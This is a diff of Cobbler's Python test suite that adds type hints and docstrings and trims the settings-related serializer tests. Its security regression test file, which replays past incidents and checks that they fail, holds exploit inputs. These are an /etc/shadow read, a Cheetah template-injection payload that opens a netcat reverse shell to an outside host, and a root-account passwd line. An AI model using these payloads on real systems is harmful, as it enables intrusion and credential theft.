+        f"SELECT name FROM {input_collection_type} WHERE name=:name",
+        {"name": mitem.name},  # type: ignore
+    )
+    row_exists = cursor.fetchone() is not None
 
-        # Cleanup
-        serializer_obj.connection.execute("DROP table if exists tests")  # type: ignore
-        serializer_obj.connection.commit()  # type: ignore
-        serializer_obj.connection.close()  # type: ignore
+    # Cleanup
+    serializer_obj.connection.execute("DROP table if exists tests")  # type: ignore
+    serializer_obj.connection.commit()  # type: ignore
+    serializer_obj.connection.close()  # type: ignore
 
     # Assert
-    if input_collection_type == "settings":
-        assert mcollection.collection_types() == "settings"
-    else:
-        assert os.path.exists(serializer_obj.database_file)
-        assert table_exists  # type: ignore[reportUnboundVariable]
-        assert row_exists  # type: ignore[reportUnboundVariable]
+    assert os.path.exists(serializer_obj.database_file)
+    assert table_exists  # type: ignore[reportUnboundVariable]
+    assert row_exists  # type: ignore[reportUnboundVariable]
 
 
 @pytest.mark.parametrize(
     "input_collection_type,expected_result,settings_read,lazy_start,expected_inmemory",
     [
-        ("settings", {}, True, False, True),
         ("tests", "test_deserialize_raw", False, False, True),
-        ("settings", {}, True, True, False),
         ("tests", "test_deserialize_raw", False, True, False),
     ],
 )
@@ -271,7 +269,7 @@ def test_deserialize_raw(
     expected_inmemory: bool,
     serializer_obj: sqlite.SQLiteSerializer,
     cobbler_api: CobblerAPI,
-    test_settings,
+    test_settings: Settings,
 ):
     """
     Test that will assert if a given item can be deserilized in raw.
@@ -295,18 +293,13 @@ def test_deserialize_raw(
     serializer_obj.connection.close()  # type: ignore
 
     # Assert
-    if input_collection_type == "settings":
-        assert result == expected_result
-    else:
-        assert result[0]["name"] == expected_result
-        assert result[0]["inmemory"] == expected_inmemory
+    assert result[0]["name"] == expected_result  # type: ignore
+    assert result[0]["inmemory"] == expected_inmemory  # type: ignore
 
 
 @pytest.mark.parametrize(
     "input_collection_type,input_collection,input_topological,expected_result",
     [
-        ("settings", {}, True, {}),
-        ("settings", {}, False, {}),
         (
             "distros",
             [{"depth": 2, "name": False}, {"depth": 1, "name": True}],
@@ -350,17 +343,10 @@ def test_deserialize(
         "deserialize_raw",
         return_value=input_collection,
     )
-    if input_collection_type == "settings":
-        stub_from = mocker.stub(name="from_dict_stub")
-        mock = Settings()
-        mocker.patch.object(mock, "from_dict", new=stub_from)
-    else:
-        stub_from = mocker.stub(name="from_list_stub")
-        mock = MockCollection(mocker.MagicMock())
-        mocker.patch.object(mock, "from_list", new=stub_from)
-        mocker.patch.object(
-            mock, "collection_types", return_value=input_collection_type
-        )
+    stub_from = mocker.stub(name="from_list_stub")
+    mock = MockCollection(mocker.MagicMock())
+    mocker.patch.object(mock, "from_list", new=stub_from)
+    mocker.patch.object(mock, "collection_types", return_value=input_collection_type)
 
     # Act
     serializer_obj.deserialize(mock, input_topological)  # type: ignore
diff --git a/tests/modules/sync_post_restart_services_test.py b/tests/modules/sync_post_restart_services_test.py
index 8d65b21bd1..1081b3c55b 100644
--- a/tests/modules/sync_post_restart_services_test.py
+++ b/tests/modules/sync_post_restart_services_test.py
@@ -1,4 +1,9 @@
-from typing import TYPE_CHECKING
+"""
+Tests that validate the functionality of the module that is responsible for restarting services after config file
+regeneration.
+"""
+
+from typing import TYPE_CHECKING, List
 
 from cobbler.api import CobblerAPI
 from cobbler.modules import sync_post_restart_services
@@ -22,7 +27,7 @@ def test_run(mocker: "MockerFixture"):
     )
     api = mocker.MagicMock(spec=CobblerAPI)
     api.get_module_name_from_file.side_effect = ["managers.isc", "managers.bind"]  # type: ignore
-    args = []
+    args: List[str] = []
 
     # Act
     result = sync_post_restart_services.run(api, args)
diff --git a/tests/performance/__init__.py b/tests/performance/__init__.py
index 5e8efe4627..1b0f45a619 100644
--- a/tests/performance/__init__.py
+++ b/tests/performance/__init__.py
@@ -1,9 +1,9 @@
 """
 Module that contains a helper class which supports the performance testsuite. This is not a pytest style fixture but
-rather related pytest-benchmark. Thus the different style in usage.
+rather related pytest-benchmark. Thus, the different style in usage.
 """
 
-from typing import Callable
+from typing import Any, Callable
 
 from cobbler.api import CobblerAPI
 from cobbler.items.distro import Distro
@@ -34,12 +34,12 @@ def create_repos(api: CobblerAPI):
             api.add_repo(test_item)
 
     @staticmethod
-    def create_distros(api: CobblerAPI, create_distro: Callable[[str], Distro]):
+    def create_distros(api: CobblerAPI, create_distro: Any):
         """
         Create a number of distros for benchmark testing. This pairs the distros with the repositories and mgmt classes.
         """
         for i in range(CobblerTree.objs_count):
-            test_item = create_distro(name=f"test_distro_{i}")
+            test_item: Distro = create_distro(name=f"test_distro_{i}")
             test_item.source_repos = [f"test_repo_{i}"]
 
     @staticmethod
@@ -59,9 +59,7 @@ def create_menus(api: CobblerAPI):
                 api.add_menu(test_item)
 
     @staticmethod
-    def create_profiles(
-        api: CobblerAPI, create_profile: Callable[[str, str, str], Profile]
-    ):
+    def create_profiles(api: CobblerAPI, create_profile: Any):
         """
         Create a number of profiles for benchmark testing. Depending on the menu depth this method also pairs the
         profile with a menu.
@@ -69,12 +67,12 @@ def create_profiles(
         for l in range(CobblerTree.tree_levels):
             for i in range(CobblerTree.objs_count):
                 if l > 0:
-                    test_item = create_profile(
+                    test_item: Profile = create_profile(
                         profile_name=f"level_{l - 1}_test_profile_{i}",
                         name=f"level_{l}_test_profile_{i}",
                     )
                 else:
-                    test_item = create_profile(
+                    test_item: Profile = create_profile(
                         distro_name=f"test_distro_{i}",
                         name=f"level_{l}_test_profile_{i}",
                     )
@@ -82,33 +80,29 @@ def create_profiles(
                 test_item.autoinstall = "sample.ks"
 
     @staticmethod
-    def create_images(api: CobblerAPI, create_image: Callable[[str], Image]):
+    def create_images(api: CobblerAPI, create_image: Any):
         """
         Create a number of images for benchmark testing.
         """
         for i in range(CobblerTree.objs_count):
-            test_item = create_image(name=f"test_image_{i}")
+            test_item: Image = create_image(name=f"test_image_{i}")
             test_item.menu = f"level_{CobblerTree.tree_levels - 1}_test_menu_{i}"
             test_item.autoinstall = "sample.ks"
 
     @staticmethod
-    def create_systems(
-        api: CobblerAPI, create_system: Callable[[str, str, str], System]
-    ):
+    def create_systems(api: CobblerAPI, create_system: Any):
         """
         Create a number of systems for benchmark testing. Depending on the strategy the system is paired with a profile
         or image.
         """
         for i in range(CobblerTree.objs_count):
             if i % 2 == 0:
-                test_item = create_system(
+                create_system(
                     name=f"test_system_{i}",
                     profile_name=f"level_{CobblerTree.tree_levels - 1}_test_profile_{i}",
                 )
             else:
-                test_item = create_system(
-                    name=f"test_system_{i}", image_name=f"test_image_{i}"
-                )
+                create_system(name=f"test_system_{i}", image_name=f"test_image_{i}")
 
     @staticmethod
     def create_all_objs(
diff --git a/tests/performance/deserialize_test.py b/tests/performance/deserialize_test.py
index c575e92b5a..c68f5a1877 100644
--- a/tests/performance/deserialize_test.py
+++ b/tests/performance/deserialize_test.py
@@ -5,7 +5,9 @@
 from typing import Any, Callable, Dict, Tuple
 
 import pytest
-from pytest_benchmark.fixture import BenchmarkFixture
+from pytest_benchmark.fixture import (  # type: ignore[reportMissingTypeStubs]
+    BenchmarkFixture,
+)
 
 from cobbler.api import CobblerAPI
 from cobbler.items.distro import Distro
@@ -72,7 +74,7 @@ def deserialize():
     cobbler_api.settings().enable_menu = enable_menu
 
     # Act
-    result = benchmark.pedantic(
+    result = benchmark.pedantic(  # type: ignore
         deserialize, setup=setup_func, rounds=CobblerTree.test_rounds
     )
 
diff --git a/tests/performance/get_autoinstall_test.py b/tests/performance/get_autoinstall_test.py
index 707e6d4921..d7e3bfb7c0 100644
--- a/tests/performance/get_autoinstall_test.py
+++ b/tests/performance/get_autoinstall_test.py
@@ -1,11 +1,13 @@
 """
-Test module to assert the performance of retrieving an autoinstallation file.
+Test module to assert the performance of retrieving an auto-installation file.
 """
 
 from typing import Any, Callable, Dict, Tuple
 
 import pytest
-from pytest_benchmark.fixture import BenchmarkFixture
+from pytest_benchmark.fixture import (  # type: ignore[reportMissingTypeStubs]
+    BenchmarkFixture,
+)
 
 from cobbler import autoinstall_manager
 from cobbler.api import CobblerAPI
@@ -65,7 +67,7 @@ def item_get_autoinstall(api: CobblerAPI, what: str):
     cobbler_api.settings().enable_menu = False
 
     # Act
-    result = benchmark.pedantic(
+    result = benchmark.pedantic(  # type: ignore
         item_get_autoinstall, setup=setup_func, rounds=CobblerTree.test_rounds
     )
 
diff --git a/tests/performance/item_add_test.py b/tests/performance/item_add_test.py
index 6ff9bc1c9e..7420380d5e 100644
--- a/tests/performance/item_add_test.py
+++ b/tests/performance/item_add_test.py
@@ -5,7 +5,9 @@
 from typing import Any, Callable, Dict, Tuple
 
 import pytest
-from pytest_benchmark.fixture import BenchmarkFixture
+from pytest_benchmark.fixture import (  # type: ignore[reportMissingTypeStubs]
+    BenchmarkFixture,
+)
 
 from cobbler.api import CobblerAPI
 from cobbler.items.distro import Distro
@@ -38,7 +40,7 @@ def setup_func() -> Tuple[Tuple[Any, ...], Dict[str, Any]]:
     cobbler_api.settings().cache_enabled = cache_enabled
 
     # Act
-    result = benchmark.pedantic(
+    result = benchmark.pedantic(  # type: ignore
         CobblerTree.create_repos, setup=setup_func, rounds=CobblerTree.test_rounds
     )
 
@@ -74,7 +76,7 @@ def setup_func() -> Tuple[Tuple[Any, ...], Dict[str, Any]]:
     cobbler_api.settings().cache_enabled = cache_enabled
 
     # Act
-    result = benchmark.pedantic(
+    result = benchmark.pedantic(  # type: ignore
         CobblerTree.create_distros, setup=setup_func, rounds=CobblerTree.test_rounds
     )
 
@@ -106,7 +108,7 @@ def setup_func() -> Tuple[Tuple[Any, ...], Dict[str, Any]]:
     cobbler_api.settings().cache_enabled = cache_enabled
 
     # Act
-    result = benchmark.pedantic(
+    result = benchmark.pedantic(  # type: ignore
         CobblerTree.create_menus, setup=setup_func, rounds=CobblerTree.test_rounds
     )
 
@@ -161,7 +163,7 @@ def setup_func() -> Tuple[Tuple[Any, ...], Dict[str, Any]]:
     cobbler_api.settings().enable_menu = enable_menu
 
     # Act
-    result = benchmark.pedantic(
+    result = benchmark.pedantic(  # type: ignore
         CobblerTree.create_profiles, setup=setup_func, rounds=CobblerTree.test_rounds
     )
 
@@ -197,7 +199,7 @@ def setup_func() -> Tuple[Tuple[Any, ...], Dict[str, Any]]:
     cobbler_api.settings().cache_enabled = cache_enabled
 
     # Act
-    result = benchmark.pedantic(
+    result = benchmark.pedantic(  # type: ignore
         CobblerTree.create_images, setup=setup_func, rounds=CobblerTree.test_rounds
     )
 
@@ -256,7 +258,7 @@ def setup_func() -> Tuple[Tuple[Any, ...], Dict[str, Any]]:
     cobbler_api.settings().enable_menu = enable_menu
 
     # Act
-    result = benchmark.pedantic(
+    result = benchmark.pedantic(  # type: ignore
         CobblerTree.create_systems, setup=setup_func, rounds=CobblerTree.test_rounds
     )
 
@@ -316,7 +318,7 @@ def setup_func() -> Tuple[Tuple[Any, ...], Dict[str, Any]]:
     cobbler_api.settings().enable_menu = enable_menu
 
     # Act
-    result = benchmark.pedantic(
+    result = benchmark.pedantic(  # type: ignore
         CobblerTree.create_all_objs, setup=setup_func, rounds=CobblerTree.test_rounds
     )
 
diff --git a/tests/performance/item_copy_test.py b/tests/performance/item_copy_test.py
index 6655017ecf..098ebf84c7 100644
--- a/tests/performance/item_copy_test.py
+++ b/tests/performance/item_copy_test.py
@@ -5,7 +5,9 @@
 from typing import Any, Callable, Dict, Tuple
 
 import pytest
-from pytest_benchmark.fixture import BenchmarkFixture
+from pytest_benchmark.fixture import (  # type: ignore[reportMissingTypeStubs]
+    BenchmarkFixture,
+)
 
 from cobbler.api import CobblerAPI
 from cobbler.items.distro import Distro
@@ -79,7 +81,7 @@ def item_copy(api: CobblerAPI, what: str):
     cobbler_api.settings().enable_menu = enable_menu
 
     # Act
-    result = benchmark.pedantic(
+    result = benchmark.pedantic(  # type: ignore
         item_copy, setup=setup_func, rounds=CobblerTree.test_rounds
     )
 
diff --git a/tests/performance/item_edit_test.py b/tests/performance/item_edit_test.py
index 99954e79fe..9e15eca466 100644
--- a/tests/performance/item_edit_test.py
+++ b/tests/performance/item_edit_test.py
@@ -5,7 +5,9 @@
 from typing import Any, Callable, Dict, Tuple
 
 import pytest
-from pytest_benchmark.fixture import BenchmarkFixture
+from pytest_benchmark.fixture import (  # type: ignore[reportMissingTypeStubs]
+    BenchmarkFixture,
+)
 
 from cobbler.api import CobblerAPI
 from cobbler.items.distro import Distro
@@ -90,7 +92,7 @@ def item_edit(api: CobblerAPI, what: str):
     cobbler_api.settings().enable_menu = enable_menu
 
     # Act
-    result = benchmark.pedantic(
+    result = benchmark.pedantic(  # type: ignore
         item_edit, setup=setup_func, rounds=CobblerTree.test_rounds
     )
 
diff --git a/tests/performance/item_remove_test.py b/tests/performance/item_remove_test.py
index 9b487699eb..874e30146f 100644
--- a/tests/performance/item_remove_test.py
+++ b/tests/performance/item_remove_test.py
@@ -5,7 +5,9 @@
 from typing import Any, Callable, Dict, Tuple
 
 import pytest
-from pytest_benchmark.fixture import BenchmarkFixture
+from pytest_benchmark.fixture import (  # type: ignore[reportMissingTypeStubs]
+    BenchmarkFixture,
+)
 
 from cobbler.api import CobblerAPI
 from cobbler.items.distro import Distro
@@ -79,7 +81,7 @@ def item_remove(api: CobblerAPI, what: str):
     cobbler_api.settings().enable_menu = enable_menu
 
     # Act
-    result = benchmark.pedantic(
+    result = benchmark.pedantic(  # type: ignore
         item_remove, setup=setup_func, rounds=CobblerTree.test_rounds
     )
 
diff --git a/tests/performance/item_rename_test.py b/tests/performance/item_rename_test.py
index 79029f4d99..00740f6c0d 100644
--- a/tests/performance/item_rename_test.py
+++ b/tests/performance/item_rename_test.py
@@ -5,7 +5,9 @@
 from typing import Any, Callable, Dict, Tuple
 
 import pytest
-from pytest_benchmark.fixture import BenchmarkFixture
+from pytest_benchmark.fixture import (  # type: ignore[reportMissingTypeStubs]
+    BenchmarkFixture,
+)
 
 from cobbler.api import CobblerAPI
 from cobbler.items.distro import Distro
@@ -79,7 +81,7 @@ def item_rename(api: CobblerAPI, what: str):
     cobbler_api.settings().enable_menu = enable_menu
 
     # Act
-    result = benchmark.pedantic(
+    result = benchmark.pedantic(  # type: ignore
         item_rename, setup=setup_func, rounds=CobblerTree.test_rounds
     )
 
diff --git a/tests/performance/make_pxe_menu_test.py b/tests/performance/make_pxe_menu_test.py
index 688933ca97..1c27296f6e 100644
--- a/tests/performance/make_pxe_menu_test.py
+++ b/tests/performance/make_pxe_menu_test.py
@@ -5,7 +5,9 @@
 from typing import Any, Callable, Dict, Tuple
 
 import pytest
-from pytest_benchmark.fixture import BenchmarkFixture
+from pytest_benchmark.fixture import (  # type: ignore[reportMissingTypeStubs]
+    BenchmarkFixture,
+)
 
 from cobbler.api import CobblerAPI
 from cobbler.items.distro import Distro
@@ -68,7 +70,7 @@ def make_pxe_menu(api: CobblerAPI):
     cobbler_api.settings().enable_menu = enable_menu
 
     # Act
-    result = benchmark.pedantic(
+    result = benchmark.pedantic(  # type: ignore
         make_pxe_menu, setup=setup_func, rounds=CobblerTree.test_rounds
     )
 
diff --git a/tests/performance/start_test.py b/tests/performance/start_test.py
index db1f5a10a4..63b865356c 100644
--- a/tests/performance/start_test.py
+++ b/tests/performance/start_test.py
@@ -5,7 +5,9 @@
 from typing import Any, Callable, Dict, Tuple
 
 import pytest
-from pytest_benchmark.fixture import BenchmarkFixture
+from pytest_benchmark.fixture import (  # type: ignore[reportMissingTypeStubs]
+    BenchmarkFixture,
+)
 
 from cobbler.api import CobblerAPI
 from cobbler.items.distro import Distro
@@ -61,16 +63,17 @@ def setup_func() -> Tuple[Tuple[Any, ...], Dict[str, Any]]:
         return (), {}
 
     def start_cobbler():
-        CobblerAPI.__shared_state = {}
-        CobblerAPI.__has_loaded = False
-        api = CobblerAPI()
+        # pylint: disable=protected-access,unused-variable
+        CobblerAPI.__shared_state = {}  # type: ignore[reportPrivateUsage]
+        CobblerAPI.__has_loaded = False  # type: ignore[reportPrivateUsage]
+        api = CobblerAPI()  # type: ignore[reportUnusedVariable]
 
     # Arrange
     cobbler_api.settings().cache_enabled = cache_enabled
     cobbler_api.settings().enable_menu = enable_menu
 
     # Act
-    result = benchmark.pedantic(
+    result = benchmark.pedantic(  # type: ignore
         start_cobbler, setup=setup_func, rounds=CobblerTree.test_rounds
     )
 
diff --git a/tests/performance/sync_test.py b/tests/performance/sync_test.py
index b4366f9dbb..a792690a77 100644
--- a/tests/performance/sync_test.py
+++ b/tests/performance/sync_test.py
@@ -5,7 +5,9 @@
 from typing import Any, Callable, Dict, Tuple
 
 import pytest
-from pytest_benchmark.fixture import BenchmarkFixture
+from pytest_benchmark.fixture import (  # type: ignore[reportMissingTypeStubs]
+    BenchmarkFixture,
+)
 
 from cobbler.api import CobblerAPI
 from cobbler.items.distro import Distro
@@ -68,7 +70,7 @@ def sync(api: CobblerAPI):
     cobbler_api.settings().enable_menu = enable_menu
 
     # Act
-    result = benchmark.pedantic(sync, setup=setup_func, rounds=CobblerTree.test_rounds)
+    result = benchmark.pedantic(sync, setup=setup_func, rounds=CobblerTree.test_rounds)  # type: ignore
 
     # Cleanup
     CobblerTree.remove_all_objs(cobbler_api)
diff --git a/tests/serializer_test.py b/tests/serializer_test.py
index 0d0db700c0..ba5a9e3a84 100644
--- a/tests/serializer_test.py
+++ b/tests/serializer_test.py
@@ -1,19 +1,39 @@
+"""
+Tests that validate the functionality of the module that is responsible for abstracting access to the item
+(de)serializers.
+"""
+
+from typing import TYPE_CHECKING
+
 import pytest
 
 from cobbler import serializer
+from cobbler.api import CobblerAPI
+
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
 
 
-@pytest.fixture()
-def serializer_obj(cobbler_api):
+@pytest.fixture(name="serializer_obj")
+def fixture_serializer_obj(cobbler_api: CobblerAPI) -> serializer.Serializer:
+    """
+    Fixture to provide a fresh serializer instance object for every test.
+    """
     return serializer.Serializer(cobbler_api)
 
 
-def test_create_object(cobbler_api):
+def test_create_object(cobbler_api: CobblerAPI):
+    """
+    Verify if the serializer can be initialized with a valid cobbler_api instance.
+    """
     # Arrange, Act & Assert
     assert isinstance(serializer.Serializer(cobbler_api), serializer.Serializer)
 
 
-def test_serialize(mocker, serializer_obj):
+def test_serialize(mocker: "MockerFixture", serializer_obj: serializer.Serializer):
+    """
+    Verify that a full collection can be written with the help of the configured serialization module.
+    """
     # Arrange
     open_mock = mocker.MagicMock()
     open_mock.fileno.return_value = 5
@@ -33,7 +53,10 @@ def test_serialize(mocker, serializer_obj):
     assert mock_lock_file_location.call_count == 2
 
 
-def test_serialize_item(mocker, serializer_obj):
+def test_serialize_item(mocker: "MockerFixture", serializer_obj: serializer.Serializer):
+    """
+    Verify that a single item can be written with the help of the configured serialization module.
+    """
     # Arrange
     open_mock = mocker.MagicMock()
     open_mock.fileno.return_value = 5
@@ -56,7 +79,12 @@ def test_serialize_item(mocker, serializer_obj):
     assert mock_lock_file_location.call_count == 3
 
 
-def test_serialize_delete(mocker, serializer_obj):
+def test_serialize_delete(
+    mocker: "MockerFixture", serializer_obj: serializer.Serializer
+):
+    """
+    Verify that a single item can be deleted with the help of the configured serialization module.
+    """
     # Arrange
     input_collection = mocker.MagicMock()
     input_item = mocker.MagicMock()
@@ -71,7 +99,10 @@ def test_serialize_delete(mocker, serializer_obj):
     )
 
 
-def test_deserialize(mocker, serializer_obj):
+def test_deserialize(mocker: "MockerFixture", serializer_obj: serializer.Serializer):
+    """
+    Verify that a full collection can be read with the help of the configured serialization module.
+    """
     # Arrange
     storage_object_mock = mocker.patch.object(serializer_obj, "storage_object")
     input_collection = mocker.MagicMock()
@@ -83,7 +114,12 @@ def test_deserialize(mocker, serializer_obj):
     storage_object_mock.deserialize.assert_called_with(input_collection, True)
 
 
-def test_deserialize_item(mocker, serializer_obj):
+def test_deserialize_item(
+    mocker: "MockerFixture", serializer_obj: serializer.Serializer
+):
+    """
+    Verify that a single item can be read with the help of the configured serialization module.
+    """
     # Arrange
     storage_object_mock = mocker.patch.object(serializer_obj, "storage_object")
     input_collection_type = mocker.MagicMock()
diff --git a/tests/settings/migrations/helper_test.py b/tests/settings/migrations/helper_test.py
index 1bb694e4f5..ccb10b80ca 100644
--- a/tests/settings/migrations/helper_test.py
+++ b/tests/settings/migrations/helper_test.py
@@ -1,27 +1,31 @@
 """
 Tests for the Cobbler settings migration helpers
 """
+
 # SPDX-License-Identifier: GPL-2.0-or-later
 # SPDX-FileCopyrightText: 2021 Dominik Gedon <dgedon@suse.de>
 # SPDX-FileCopyrightText: 2021 Enno Gotthold <egotthold@suse.de>
 # SPDX-FileCopyrightText: Copyright SUSE LLC
 
 import copy
+from typing import Dict, Union
 
 import pytest
 
 from cobbler.settings.migrations import helper
 
+ExampleDictType = Dict[str, Dict[str, Union[int, Dict[str, int]]]]
+
 
-@pytest.fixture
-def example_dict():
+@pytest.fixture(name="example_dict")
+def fixture_example_dict() -> ExampleDictType:
     return {
         "a": {"r": 1, "s": 2, "t": 3},
         "b": {"u": 1, "v": {"x": 1, "y": 2, "z": 3}, "w": 3},
     }
 
 
-def test_key_add(example_dict):
+def test_key_add(example_dict: ExampleDictType):
     # Arrange
     new = helper.Setting("c.a", 5)
 
@@ -32,17 +36,17 @@ def test_key_add(example_dict):
     assert example_dict["c"]["a"] == 5
 
 
-def test_key_delete(example_dict):
+def test_key_delete(example_dict: ExampleDictType):
     # Arrange
     # Act
     helper.key_delete("b.v.y", example_dict)
 
     # Assert
-    print(example_dict)
+    assert isinstance(example_dict["b"]["v"], dict)
     assert example_dict["b"]["v"].get("y") is None
 
 
-def test_key_get(example_dict):
+def test_key_get(example_dict: ExampleDictType):
     # Arrange
     expected_result = helper.Setting("b.u", 1)
     # Act
@@ -52,7 +56,7 @@ def test_key_get(example_dict):
     assert expected_result == result
 
 
-def test_key_move(example_dict):
+def test_key_move(example_dict: ExampleDictType):
     # Arrange
     move = helper.Setting("b.u", 1)
 
@@ -64,7 +68,7 @@ def test_key_move(example_dict):
     assert example_dict["a"]["a"] == 1
 
 
-def test_key_rename(example_dict):
+def test_key_rename(example_dict: ExampleDictType):
     # Arrange
     rename = helper.Setting("b.u", 1)
     # Act
@@ -76,7 +80,7 @@ def test_key_rename(example_dict):
     assert example_dict["b"]["a"] == 1
 
 
-def test_key_set_value(example_dict):
+def test_key_set_value(example_dict: ExampleDictType):
     # Arrange
     new = helper.Setting("b.u", 5)
 
@@ -87,7 +91,7 @@ def test_key_set_value(example_dict):
     assert example_dict["b"]["u"] == 5
 
 
-def test_key_drop_if_default(example_dict):
+def test_key_drop_if_default(example_dict: ExampleDictType):
     # Arrange
 
     # Act
@@ -97,7 +101,7 @@ def test_key_drop_if_default(example_dict):
     assert result == {}
 
 
-def test_key_drop_if_default_2(example_dict):
+def test_key_drop_if_default_2(example_dict: ExampleDictType):
     # Arrange
     value_dict = copy.deepcopy(example_dict)
     value_dict["a"]["r"] = 5
diff --git a/tests/settings/migrations/migrations_test.py b/tests/settings/migrations/migrations_test.py
index 8e40a6a636..136465b97e 100644
--- a/tests/settings/migrations/migrations_test.py
+++ b/tests/settings/migrations/migrations_test.py
@@ -1,6 +1,7 @@
 """
 Tests for the Cobbler settings migrations
 """
+
 # SPDX-License-Identifier: GPL-2.0-or-later
 # SPDX-FileCopyrightText: 2021 Dominik Gedon <dgedon@suse.de>
 # SPDX-FileCopyrightText: 2021 Enno Gotthold <egotthold@suse.de>
@@ -69,7 +70,7 @@ def test_discover_migrations():
     # Act
     migrations.discover_migrations()
     # Assert
-    assert migrations.VERSION_LIST is not None
+    assert migrations.VERSION_LIST is not None  # type: ignore
 
 
 def test_get_installed_version():
diff --git a/tests/settings/settings_test.py b/tests/settings/settings_test.py
index e467873056..35e471a871 100644
--- a/tests/settings/settings_test.py
+++ b/tests/settings/settings_test.py
@@ -1,10 +1,15 @@
+"""
+Tests that validate the functionality of the module that is responsible for managing the settings.
+"""
+
 import os
 import pathlib
 import shutil
+from typing import Any, Dict, List
 
 import pytest
 import yaml
-from schema import SchemaError
+from schema import SchemaError  # type: ignore[reportMissingTypeStubs]
 
 from cobbler import settings
 from cobbler.settings import Settings
@@ -12,19 +17,6 @@
 from tests.conftest import does_not_raise
 
 
-def test_to_string():
-    # Arrange
-    test_settings = Settings()
-
-    # Act
-    result = test_settings.to_string()
-
-    # Assert
-    result_list = result.split("\n")
-    assert len(result_list) == 3
-    assert result_list[1] == "kernel options  : {}"
-
-
 def test_to_dict():
     # Arrange
     test_settings = Settings()
@@ -55,7 +47,7 @@ def test_is_valid():
         ({"invalid": True}, pytest.raises(ValueError), "127.0.0.1"),
     ],
 )
-def test_from_dict(parameter, expected_exception, expected_result):
+def test_from_dict(parameter: Any, expected_exception: Any, expected_result: str):
     # Arrange
     test_settings = Settings()
 
@@ -140,7 +132,12 @@ def test_from_dict(parameter, expected_exception, expected_result):
         ),
     ],
 )
-def test_validate_settings(parameter, expected_exception, expected_result, ignore_keys):
+def test_validate_settings(
+    parameter: Dict[str, Any],
+    expected_exception: Any,
+    expected_result: Dict[str, Any],
+    ignore_keys: List[str],
+):
     # Arrange
 
     # Act
@@ -297,7 +294,7 @@ def test_update_settings_file_extra_settings_list(tmpdir: pathlib.Path):
 
 def test_update_settings_file_emtpy_dict(tmpdir: pathlib.Path):
     # Arrange
-    settings_data = {}
+    settings_data: Dict[str, Any] = {}
     settings_path = os.path.join(tmpdir, "settings.yaml")
 
     # Act
diff --git a/tests/special_cases/security_test.py b/tests/special_cases/security_test.py
index 23eb1e255e..8470bbbbb3 100644
--- a/tests/special_cases/security_test.py
+++ b/tests/special_cases/security_test.py
@@ -1,13 +1,14 @@
 """
 This test module tries to automatically replicate all security incidents we had in the past and checks if they fail.
 """
+
 # SPDX-License-Identifier: GPL-2.0-or-later
 import base64
 import crypt
-import logging
 import os
 import subprocess
 import xmlrpc.client
+from typing import Any, Callable
 
 import pytest
 
@@ -20,9 +21,9 @@
 # SPDX-FileCopyrightText: 2021 Nicolas Chatelain <nicolas.chatelain@tnpconsultants.com>
 
 
-@pytest.fixture
-def try_connect():
-    def try_connect(url) -> xmlrpc.client.ServerProxy:
+@pytest.fixture(name="try_connect")
+def fixture_try_connect() -> Callable[[str], xmlrpc.client.ServerProxy]:
+    def try_connect(url: str) -> xmlrpc.client.ServerProxy:
         xmlrpc_server = xmlrpc.client.ServerProxy(url)
         return xmlrpc_server
 
@@ -30,7 +31,12 @@ def try_connect(url) -> xmlrpc.client.ServerProxy:
 
 
 @pytest.fixture(autouse=True)
-def setup_profile(try_connect, create_kernel_initrd, fk_kernel, fk_initrd):
+def setup_profile(
+    try_connect: Callable[[str], xmlrpc.client.ServerProxy],
+    create_kernel_initrd: Callable[[str, str], str],
+    fk_kernel: str,
+    fk_initrd: str,
+):
     cobbler_api = try_connect("http://localhost/cobbler_api")
     shared_secret = get_shared_secret()
     token = cobbler_api.login("", shared_secret)
@@ -56,40 +62,44 @@ def setup_profile(try_connect, create_kernel_initrd, fk_kernel, fk_initrd):
     cobbler_api.remove_distro("security_test_distro", token)
 
 
-def test_arbitrary_file_disclosure_1(setup_profile, try_connect):
+def test_arbitrary_file_disclosure_1(
+    setup_profile: Any, try_connect: Callable[[str], xmlrpc.client.ServerProxy]
+):
     # Arrange
     cobbler_api = try_connect("http://localhost/cobbler_api")
 
     # Act
     profiles = cobbler_api.get_profiles()
-    target = profiles[0]["name"]
+    target: str = profiles[0]["name"]  # type: ignore
     try:
-        result = cobbler_api.generate_script(target, "", "/etc/shadow")
+        result: str = cobbler_api.generate_script(target, "", "/etc/shadow")  # type: ignore
 
         # Assert this NOT succeeds
-        assert not result.startswith("root")
+        assert not result.startswith("root")  # type: ignore
     except xmlrpc.client.Fault as e:
         # We have no way of exactly knowing what is in there but if its a ValueError we most likely caught the exploit
         # before something happened.
         assert "ValueError" in e.faultString
 
 
-def test_template_injection_1(setup_profile, try_connect):
+def test_template_injection_1(
+    setup_profile: Any, try_connect: Callable[[str], xmlrpc.client.ServerProxy]
+):
     # Arrange
     exploitcode = "__import__('os').system('nc [tnpitsecurity] 4242 -e /bin/sh')"
     cobbler_api = try_connect("http://localhost/cobbler_api")
 
     # Act
     profiles = cobbler_api.get_profiles()
-    target = profiles[0]["name"]
+    target: str = profiles[0]["name"]  # type: ignore
     try:
         print("[+] Stage 1 : Poisoning log with Cheetah template RCE")
-        result_stage_1 = cobbler_api.generate_script(
-            target, "", "{<%= " + exploitcode + " %>}"
+        result_stage_1: str = cobbler_api.generate_script(
+            target, "", "{<%= " + exploitcode + " %>}"  # type: ignore
         )
         print("[+] Stage 2 : Rendering template using an arbitrary file read.")
-        result_stage_2 = cobbler_api.generate_script(
-            target, "", "/var/log/cobbler/cobbler.log"
+        result_stage_2: str = cobbler_api.generate_script(  # type: ignore
+            target, "", "/var/log/cobbler/cobbler.log"  # type: ignore
         )
 
         # Assert this NOT succeeds
@@ -101,7 +111,9 @@ def test_template_injection_1(setup_profile, try_connect):
         assert "ValueError" in e.faultString
 
 
-def test_arbitrary_file_write_1(setup_profile, try_connect):
+def test_arbitrary_file_write_1(
+    setup_profile: Any, try_connect: Callable[[str], xmlrpc.client.ServerProxy]
+):
     # Arrange
     cobbler_api = try_connect("http://localhost/cobbler_api")
     exploit = b"cha:!:0:0:cha:/:/bin/bash\n"
diff --git a/tests/templar_test.py b/tests/templar_test.py
index 8a434af1c9..38f75a48e6 100644
--- a/tests/templar_test.py
+++ b/tests/templar_test.py
@@ -1,5 +1,11 @@
+"""
+Tests that validate the functionality of the module that is responsible for abstracting access to the different
+template rendering engines that Cobbler supports.
+"""
+
 import pytest
 
+from cobbler.api import CobblerAPI
 from cobbler.cexceptions import CX
 from cobbler.templar import Templar
 
@@ -27,7 +33,7 @@ def setup_cheetah_macros_file():
         )
 
